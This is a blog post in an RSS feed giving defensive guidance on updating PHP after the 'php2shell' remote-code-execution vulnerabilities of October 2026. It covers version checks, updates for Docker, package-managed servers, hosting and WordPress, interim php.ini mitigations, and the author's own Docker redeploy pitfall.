it</title><link>https://ortamarco.me/en/blog/php2shell-how-to-update-php/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/php2shell-how-to-update-php/</guid><description>php2shell (CVE-2026-109618/109619, CVSS 9.2) is fixed in PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35. How to check your version and update on Docker, hosting and WordPress.</description><pubDate>Wed, 21 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;php2shell is the name given to two critical vulnerabilities in the PHP core, CVE-2026-109618 and CVE-2026-109619, disclosed on October 21, 2026. Both score 9.2 on CVSS v4 and allow unauthenticated remote code execution. The fixed releases are 8.5.12, 8.4.27, 8.3.36 and 8.2.35. If your PHP is below the fixed release for its branch, update today: &lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;PHP’s own advisory&lt;/a&gt; says there are no complete mitigations and updating is the only safe choice.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This guide covers how to find the version that actually serves your traffic (often not the one your shell reports), how to update depending on where PHP lives, the Docker redeploy trap I walked into on my own production server the day the advisory came out, what to do if you can’t update today, and where PHP 8.1 and older stand. There’s a short section at the end for business owners who won’t be opening a terminal.&lt;/p&gt;
&lt;h2 id=&quot;what-php2shell-is&quot;&gt;What php2shell is&lt;/h2&gt;
&lt;p&gt;Two separate bugs, fixed in the same release:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-109618&lt;/strong&gt; (&lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w&quot;&gt;GHSA-w8hw-w9fx-j79w&lt;/a&gt;): if PHP runs out of memory while a request’s internal data is only partly initialized, request cleanup can treat that half-built data as valid.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-109619&lt;/strong&gt; (&lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp&quot;&gt;GHSA-6wmf-4rv5-p3rp&lt;/a&gt;): some request-owned state can outlive the memory behind it, and a later request handled by the same worker can use it before normal initialization resets it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;According to php.net, every PHP installation that serves web requests is in scope: PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP and LiteSpeed, with mod_php rated highest risk. You don’t need the technical details to patch; they’re in the two GitHub advisories if you want them.&lt;/p&gt;
&lt;p&gt;The name comes from a proof-of-concept tool that surfaced on October 20, before the embargo ended. That leak is why the PHP team moved the release up a day.&lt;/p&gt;
&lt;h2 id=&quot;fixed-versions&quot;&gt;Fixed versions&lt;/h2&gt;








































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Branch&lt;/th&gt;&lt;th&gt;Fixed release&lt;/th&gt;&lt;th&gt;Security support ends&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;8.5&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8.5.12&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Dec 31, 2029&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.4&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8.4.27&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Dec 31, 2028&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.3&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8.3.36&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Dec 31, 2027&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8.2.35&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Dec 31, 2026&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.6 (pre-release)&lt;/td&gt;&lt;td&gt;8.6.0 RC4&lt;/td&gt;&lt;td&gt;not for production&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.1 and older&lt;/td&gt;&lt;td&gt;no official release&lt;/td&gt;&lt;td&gt;see &lt;a href=&quot;#php-81-and-older&quot;&gt;PHP 8.1 and older&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Sources: the &lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;php.net security advisory&lt;/a&gt; and &lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;supported versions&lt;/a&gt;. If you’re on 8.2, today’s release covers php2shell, but the branch stops getting security fixes in about ten weeks. Plan the next hop now; if you’re heading to 8.6 later, &lt;a href=&quot;https://ortamarco.me/en/blog/what-breaks-upgrading-to-php-8-6/&quot;&gt;here’s what breaks&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;how-to-tell-if-your-php-is-vulnerable&quot;&gt;How to tell if your PHP is vulnerable&lt;/h2&gt;
&lt;p&gt;Compare your version against the table. The hard part is knowing which version is yours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On a server:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;php &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt;          &lt;span class=&quot;token comment&quot;&gt;# the CLI binary&lt;/span&gt;
php-fpm &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;# or php-fpm8.4 -v depending on the distro: the one serving the web&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Boxes with several PHP versions installed often have a CLI on 8.4 and FPM still on 8.2. What matters is the binary handling requests: PHP-FPM, mod_php, or whatever your web server talks to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On Docker&lt;/strong&gt;, check the running container, not your laptop and not the image you think you shipped:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;container&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; php &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;container&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; php-fpm &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;From the app&lt;/strong&gt;, if you have no shell: drop a temporary file containing &lt;code&gt;&amp;lt;?php echo PHP_VERSION;&lt;/code&gt; at an unguessable path, load it once, delete it. Never leave a &lt;code&gt;phpinfo()&lt;/code&gt; page up.&lt;/p&gt;
&lt;h3 id=&quot;distro-packages-keep-the-old-version-number&quot;&gt;Distro packages keep the old version number&lt;/h3&gt;
&lt;p&gt;Debian, Ubuntu, Red Hat and friends usually backport security fixes into their own packages &lt;strong&gt;without bumping PHP’s upstream version&lt;/strong&gt;. A Debian PHP 8.2 can report something below 8.2.35 and still be fixed. The table doesn’t apply there; the package changelog does:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Debian / Ubuntu&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;apt&lt;/span&gt; changelog php8.2-fpm &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;CVE-2026-10961[89]&amp;#39;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# RHEL, Alma, Rocky&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;rpm&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-q&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--changelog&lt;/span&gt; php-fpm &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;CVE-2026-10961[89]&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both CVE IDs listed means the package carries the fix.&lt;/p&gt;
&lt;h2 id=&quot;how-to-update-by-environment&quot;&gt;How to update, by environment&lt;/h2&gt;
&lt;h3 id=&quot;docker&quot;&gt;Docker&lt;/h3&gt;
&lt;p&gt;Official images are out: &lt;code&gt;php:8.4.27-*&lt;/code&gt;, &lt;code&gt;php:8.5.12-*&lt;/code&gt;, &lt;code&gt;php:8.3.36-*&lt;/code&gt; and &lt;code&gt;php:8.2.35-*&lt;/code&gt; on Docker Hub, plus &lt;code&gt;serversideup/php:8.4.27-*&lt;/code&gt;. The sequence that works:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Pin the patch release&lt;/strong&gt; in &lt;code&gt;FROM&lt;/code&gt; where you can (&lt;code&gt;php:8.4.27-fpm&lt;/code&gt;). A floating tag like &lt;code&gt;php:8.4-fpm&lt;/code&gt; only helps if every host and CI runner pulls it again.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rebuild against the fresh base&lt;/strong&gt;: &lt;code&gt;docker build --pull ...&lt;/code&gt; forces the new base image down.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ship a genuinely new image&lt;/strong&gt;, and make sure your platform actually rebuilds (more on that below).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify inside the container&lt;/strong&gt; with &lt;code&gt;php -v&lt;/code&gt; and &lt;code&gt;php-fpm -v&lt;/code&gt;. A green deploy tells you nothing about which PHP ended up running.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you maintain your own base image on top of the official one, that’s two rebuilds: base first, then the app.&lt;/p&gt;
&lt;h3 id=&quot;package-managed-servers-apt-dnf&quot;&gt;Package-managed servers (apt, dnf)&lt;/h3&gt;
&lt;p&gt;php.net says distributions and LTS vendors got the patches ahead of time, so packages should be there:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Debian / Ubuntu&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt&lt;/span&gt; update &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; --only-upgrade &lt;span class=&quot;token string&quot;&gt;&amp;#39;php8.4*&amp;#39;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; systemctl restart php8.4-fpm     &lt;span class=&quot;token comment&quot;&gt;# plus apache2 if you use mod_php&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# RHEL and derivatives&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; dnf upgrade &lt;span class=&quot;token string&quot;&gt;&amp;#39;php*&amp;#39;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; systemctl restart php-fpm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Swap &lt;code&gt;8.4&lt;/code&gt; for your branch. &lt;strong&gt;The restart is part of the fix&lt;/strong&gt;: workers that were already running keep the old code in memory until they’re replaced.&lt;/p&gt;
&lt;p&gt;If you install PHP from the volunteer-run Remi repository (rpms.remirepo.net), the php.net advisory asks you to move to distribution packages or build from source, since that repo wasn’t getting updates on October 21.&lt;/p&gt;
&lt;h3 id=&quot;shared-hosting-cpanel-plesk&quot;&gt;Shared hosting (cPanel, Plesk)&lt;/h3&gt;
&lt;p&gt;On shared hosting, &lt;strong&gt;your provider patches PHP&lt;/strong&gt;, not you. What you can do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check the version under &lt;strong&gt;Select PHP Version&lt;/strong&gt; or &lt;strong&gt;MultiPHP Manager&lt;/strong&gt; in cPanel, or the domain’s PHP settings in Plesk.&lt;/li&gt;
&lt;li&gt;If you’re on an old branch, move to 8.3, 8.4 or 8.5 from the same screen, after confirming your site runs on it.&lt;/li&gt;
&lt;li&gt;Ask support, in writing, whether the fixed release is already on your server.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;wordpress&quot;&gt;WordPress&lt;/h3&gt;
&lt;p&gt;WordPress doesn’t ship PHP; it uses the server’s. Updating WordPress core or plugins won’t fix php2shell. To see the version your site runs, go to &lt;strong&gt;Tools → Site Health → Info → Server&lt;/strong&gt;. If it’s below the fixed release, the fix goes through your host or your own server.&lt;/p&gt;
&lt;p&gt;Before jumping branches (8.1 to 8.3, say), check that your theme and plugins support the target. That’s where old sites tend to break.&lt;/p&gt;
&lt;h2 id=&quot;the-redeploy-trap-what-happened-on-my-server-on-october-21&quot;&gt;The redeploy trap: what happened on my server on October 21&lt;/h2&gt;
&lt;p&gt;My backend runs in Docker on &lt;code&gt;serversideup/php:8.4-fpm-nginx&lt;/code&gt;, deployed by Coolify from CI. Before touching anything, production said this:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot; data-language=&quot;text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;+ docker ps --filter name=jd0k… --format &amp;quot;{{.Names}}  {{.Image}}  {{.Status}}&amp;quot;
jd0k…-20261021T001519  jd0k…:f2863d8…  Up 18 hours (healthy)
+ docker exec … php -v
PHP 8.4.26 (cli) (built: Oct  6 2026 01:25:30) (NTS)
Copyright (c) The PHP Group
Built by https://github.com/docker-library/php
Zend Engine v4.4.26, Copyright (c) Zend Technologies
    with Zend OPcache v8.4.26, Copyright (c), by Zend Technologies
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8.4.26, vulnerable. I rebuilt my base image on 8.4.27, published it and pulled it onto the host. The new base had the fixed release:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot; data-language=&quot;text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;+ docker pull ghcr.io/ortamarco/ombackend-php-base:8.4
8.4: Pulling from ortamarco/ombackend-php-base
…
Digest: sha256:8a2f70…
Status: Downloaded newer image for ghcr.io/ortamarco/ombackend-php-base:8.4
+ docker run --rm --entrypoint php ghcr.io/ortamarco/ombackend-php-base:8.4 -v
PHP 8.4.27 (cli) (built: Oct 21 2026 15:53:31) (NTS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I re-ran the deploy from CI. Green. New container up and healthy. And then I checked:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot; data-language=&quot;text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 12:28, after pulling the 8.4.27 base and re-running CI (same commit f2863d8):
+ docker ps --filter name=jd0k… …
jd0k…-20261021T182804  Up About a minute (healthy)
+ docker exec … php -v
PHP 8.4.26 (cli) (built: Oct  6 2026 01:25:30) (NTS)
+ docker exec … php-fpm -v
PHP 8.4.26 (fpm-fcgi) (built: Oct  6 2026 01:25:30) (NTS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Still 8.4.26. Coolify saw a deploy for the same commit and, because CI requests it with &lt;code&gt;force=false&lt;/code&gt;, reused the image it had already built for that commit. The new base was sitting on the host and nothing used it.&lt;/p&gt;
&lt;p&gt;A new commit forced the rebuild. After that deploy:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot; data-language=&quot;text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;+ docker ps --filter name=jd0k… --format &amp;quot;{{.Names}}  {{.Image}}  {{.Status}}&amp;quot;
jd0k…-20261021T183708  jd0k…:cac8d90…  Up 30 seconds (healthy)
+ docker exec … php -v
PHP 8.4.27 (cli) (built: Oct 21 2026 15:53:31) (NTS)
+ docker exec … php-fpm -v
PHP 8.4.27 (fpm-fcgi) (built: Oct 21 2026 15:53:31) (NTS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8.4.27 in both CLI and FPM. Later the same day I moved the backend to PHP 8.5.12.&lt;/p&gt;
&lt;p&gt;What I took from it, and it applies to anything that deploys images (Coolify, a homegrown pipeline, Kubernetes):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A floating tag (&lt;code&gt;:8.4&lt;/code&gt;) lives in host and CI caches. Pulling it doesn’t help if the platform decides not to rebuild.&lt;/li&gt;
&lt;li&gt;Redeploying the same commit may reuse the previous image. Force a rebuild (a force-rebuild option, &lt;code&gt;--no-cache&lt;/code&gt;, &lt;code&gt;--pull&lt;/code&gt;) or push a new commit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The only evidence that counts is &lt;code&gt;php -v&lt;/code&gt; inside the container serving traffic.&lt;/strong&gt; I had “deploy succeeded” and “container healthy” on the vulnerable version.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;if-you-cant-update-today&quot;&gt;If you can’t update today&lt;/h2&gt;
&lt;p&gt;The php.net advisory lists measures that &lt;strong&gt;reduce exposure to specific attack paths but do not make an installation safe&lt;/strong&gt;. Use them to buy hours, not as the fix:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt;&lt;/strong&gt;, then restart every worker. Set it in &lt;code&gt;php.ini&lt;/code&gt;, the FPM pool or server config; &lt;code&gt;ini_set()&lt;/code&gt; and FPM &lt;code&gt;.user.ini&lt;/code&gt; apply too late to help.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;memory_limit=-1&lt;/code&gt;&lt;/strong&gt;, ideally via &lt;code&gt;php_admin_value&lt;/code&gt; in the FPM pool or Apache config so the app can’t override it, and check that nothing else sets a finite limit again. Don’t substitute &lt;code&gt;RLIMIT_AS&lt;/code&gt; or &lt;code&gt;RLIMIT_DATA&lt;/code&gt;: the advisory warns they can trigger the very allocation failure you’re trying to avoid. Use a container or cgroup memory limit as the availability boundary instead.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Low &lt;code&gt;post_max_size&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;8M&lt;/code&gt; if the app takes no uploads, &lt;code&gt;32M&lt;/code&gt; if it does, with &lt;code&gt;upload_max_filesize&lt;/code&gt; below &lt;code&gt;post_max_size&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP 8.5 only&lt;/strong&gt;: &lt;code&gt;fatal_error_backtraces=0&lt;/code&gt;, then restart workers.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hiding diagnostics with &lt;code&gt;error_reporting&lt;/code&gt;, &lt;code&gt;display_errors&lt;/code&gt; or &lt;code&gt;@&lt;/code&gt; does not help.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/10/21/critical-vulnerabilities-php-require-immediate-patching&quot;&gt;CISA&lt;/a&gt; adds that a WAF may provide some protection until you patch, and that systems you can’t update, including anything on PHP 8.1 or earlier, should be taken offline until they’re fixed.&lt;/p&gt;
&lt;h2 id=&quot;php-81-and-older&quot;&gt;PHP 8.1 and older&lt;/h2&gt;
&lt;p&gt;The PHP project no longer ships releases for 8.1, 8.0 or 7.4, so &lt;strong&gt;there’s no official 8.1.x carrying the fix&lt;/strong&gt;. What does exist:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given the severity, the PHP security team published &lt;strong&gt;minimal source backports&lt;/strong&gt; for &lt;a href=&quot;https://github.com/php/php-src/tree/PHP-7.4-CVE-2026-109618-109619&quot;&gt;PHP 7.4&lt;/a&gt;, &lt;a href=&quot;https://github.com/php/php-src/tree/PHP-8.0-CVE-2026-109618-109619&quot;&gt;8.0&lt;/a&gt; and &lt;a href=&quot;https://github.com/php/php-src/tree/PHP-8.1-CVE-2026-109618-109619&quot;&gt;8.1&lt;/a&gt;, for people who build PHP from source.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Some distributions and extended-support vendors backport the fix&lt;/strong&gt; into their packages for older branches. Ask yours, or check the package changelog as shown above.&lt;/li&gt;
&lt;li&gt;The real exit is a supported branch. On an old codebase that’s rarely just a version bump: the framework and dependencies come along, which is why it’s not an afternoon job.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;for-business-owners&quot;&gt;For business owners&lt;/h2&gt;
&lt;p&gt;If your online store, customer portal or internal system runs on PHP (WordPress, Laravel, something custom), send whoever maintains it these three questions today:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Which PHP version does my system run?&lt;/li&gt;
&lt;li&gt;Has it been updated to the October 21 fixed release? Ask for the &lt;code&gt;php -v&lt;/code&gt; output as proof.&lt;/li&gt;
&lt;li&gt;If it’s PHP 8.1 or older, what’s the plan, and by when?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On shared hosting, the question goes to your host.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you’d rather hand it off:&lt;/strong&gt; I do &lt;a href=&quot;https://ortamarco.me/en/legacy-laravel-php-rescue/&quot;&gt;remote legacy PHP and Laravel rescue&lt;/a&gt;, starting with a fixed-price 5-day assessment (US$590, credited in full if you go ahead with the stabilization), which is the right starting point for anything on PHP 8.1 or older. For clients in Mexico I also offer a 24-business-hour &lt;a href=&quot;https://ortamarco.me/actualizacion-urgente-php/&quot;&gt;urgent PHP update&lt;/a&gt; (page in Spanish, billed in MXN: $2,900 + IVA per server or site, PHP 8.2 to 8.5): backup, update to the fixed release, testing and &lt;code&gt;php -v&lt;/code&gt; as evidence.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What is php2shell? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; php2shell is the name for two critical vulnerabilities in the PHP core, CVE-2026-109618 and CVE-2026-109619, disclosed on October 21, 2026. Both are rated 9.2 on CVSS v4 and allow unauthenticated remote code execution on PHP installations that serve web requests, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP and LiteSpeed. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Which PHP versions fix php2shell? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35, plus PHP 8.6.0 RC4 for anyone testing the pre-release. php.net says there are no complete mitigations and updating is the only safe choice. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How do I check whether my PHP is vulnerable? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Run php -v and php-fpm -v on the server, or docker exec &amp;lt;container&amp;gt; php -v on Docker, and compare against the fixed release for your branch. Debian, Ubuntu and Red Hat packages often keep the old version number after backporting, so check the package changelog (apt changelog or rpm -q --changelog) for CVE-2026-109618 and CVE-2026-109619. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is there a php2shell patch for PHP 8.1, 8.0 or 7.4? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; There is no official release, because those branches no longer receive updates from the PHP project. The PHP security team published minimal source backports for 7.4, 8.0 and 8.1 for people who build from source, and some distributions and extended-support vendors backport the fix. The long-term answer is moving to a supported branch. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is a WAF or a php.ini change enough? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. The measures in the php.net advisory (disabling session.upload_progress, memory_limit=-1, a low post_max_size and, on PHP 8.5, fatal_error_backtraces=0) reduce exposure to specific attack paths but do not make an installation safe. CISA says a WAF may offer some temporary protection. Only updating fixes the flaws. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does php2shell affect WordPress? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It affects the PHP that WordPress runs on, not WordPress itself. Updating WordPress or plugins does not fix it; PHP has to be updated on the server or by the host. You can see the version under Tools, Site Health, Info, Server. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is php2shell being exploited? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; When CISA published its alert on October 21, it said it had not observed exploitation. The security firm watchTowr reported exploitation attempts against both flaws. A proof of concept circulated on October 20, before the embargo ended, so do not wait. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; I updated my Docker image and redeployed. Am I covered? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Not necessarily. A floating tag like php:8.4 sits in caches, and some platforms reuse the already-built image when the commit has not changed. Run php -v and php-fpm -v inside the container serving traffic; if it still shows the old version, force a rebuild or deploy a new commit. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;
&lt;h2 id=&quot;sources&quot;&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;php.net: &lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;Security advisory: Critical remote code execution vulnerabilities, update now&lt;/a&gt; (October 21, 2026).&lt;/li&gt;
&lt;li&gt;GitHub, php-src: &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w&quot;&gt;GHSA-w8hw-w9fx-j79w, CVE-2026-109618&lt;/a&gt; and &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp&quot;&gt;GHSA-6wmf-4rv5-p3rp, CVE-2026-109619&lt;/a&gt;.&lt;/li&gt;
